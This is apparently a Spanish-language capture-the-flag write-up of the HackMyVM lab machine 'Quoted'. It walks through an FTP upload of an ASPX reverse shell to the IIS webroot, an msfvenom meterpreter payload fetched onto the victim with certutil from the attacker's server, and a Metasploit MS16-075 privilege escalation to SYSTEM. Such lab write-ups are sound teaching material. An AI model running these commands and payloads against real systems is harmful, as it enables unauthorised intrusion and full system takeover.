cd ~/blog

~/writeups/hmv/133-quoted.md

133 - Quoted

easy Windows hmv 28-07-2025
Anonymous FTP write to IIS webrootASPX reverse shell (RCE)MS16-075 Reflection (Potato) Privesc
hackmyvm.eu/machines/machine.php?vm=Quoted

~1 min de lectura


Enumeramos puertos (Windows 7 con IIS y FTP):

 nmap -sCV -p 21,80,135,139,445,5357,49152,49153,49154,49155,49156,49157 -oN 02-targeted.txt 192.168.1.10
...
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ...                  iisstart.htm
80/tcp    open  http         Microsoft IIS httpd 7.5
445/tcp   open  microsoft-ds Windows 7 Professional 7601 SP1
...
Service Info: Host: QUOTED-PC; OS: Windows; ...

El FTP anónimo apunta al webroot de IIS. Comprobamos que tenemos permisos de escritura subiendo un archivo de prueba, y luego subimos una reverse shell ASPX (versión con IP/puerto fijos):

ftp> put file.txt          # prueba de escritura → aparece en el listado
ftp> put pwned.aspx
226 Transfer complete.

La ejecutamos visitando http://192.168.1.10/pwned.aspx:

 rlwrap ncat -nlvp 1234
Ncat: Connection from 192.168.1.10:49160.
Spawn Shell...
Microsoft Windows [Sürüm 6.1.7601]
c:\windows\system32\inetsrv>

Con este usuario obtenemos la flag de usuario. Para escalar se podría usar JuicyPotato o GodPotato, pero aquí generamos un meterpreter con msfvenom y lo transferimos con certutil (fuera del webroot c:\inetpub\wwwroot, ya que IIS impide ejecutar binarios ahí):

 msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4321 -f exe -o reverse.exe
 python3 -m http.server

c:\Users\quoted\Desktop>certutil.exe -f -urlcache -split http://192.168.1.5:8000/reverse.exe reverse.exe

Montamos el handler (con auto-migración para no perder la sesión) y ejecutamos reverse.exe en la víctima:

msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 4321
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(multi/handler) > run

c:\Users\quoted\Desktop>reverse.exe

Tras recibir la sesión, usamos local_exploit_suggester y explotamos MS16-075 (variante Potato):

msf6 post(multi/recon/local_exploit_suggester) > run
...
 15  exploit/windows/local/ms16_075_reflection_juicy  Yes  The target appears to be vulnerable.
...

msf6 exploit(windows/local/ms16_075_reflection_juicy) > set session 1
msf6 exploit(windows/local/ms16_075_reflection_juicy) > run
...
[+] Target appears to be vulnerable (Windows 7 Service Pack 1)
[*] Meterpreter session 4 opened ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados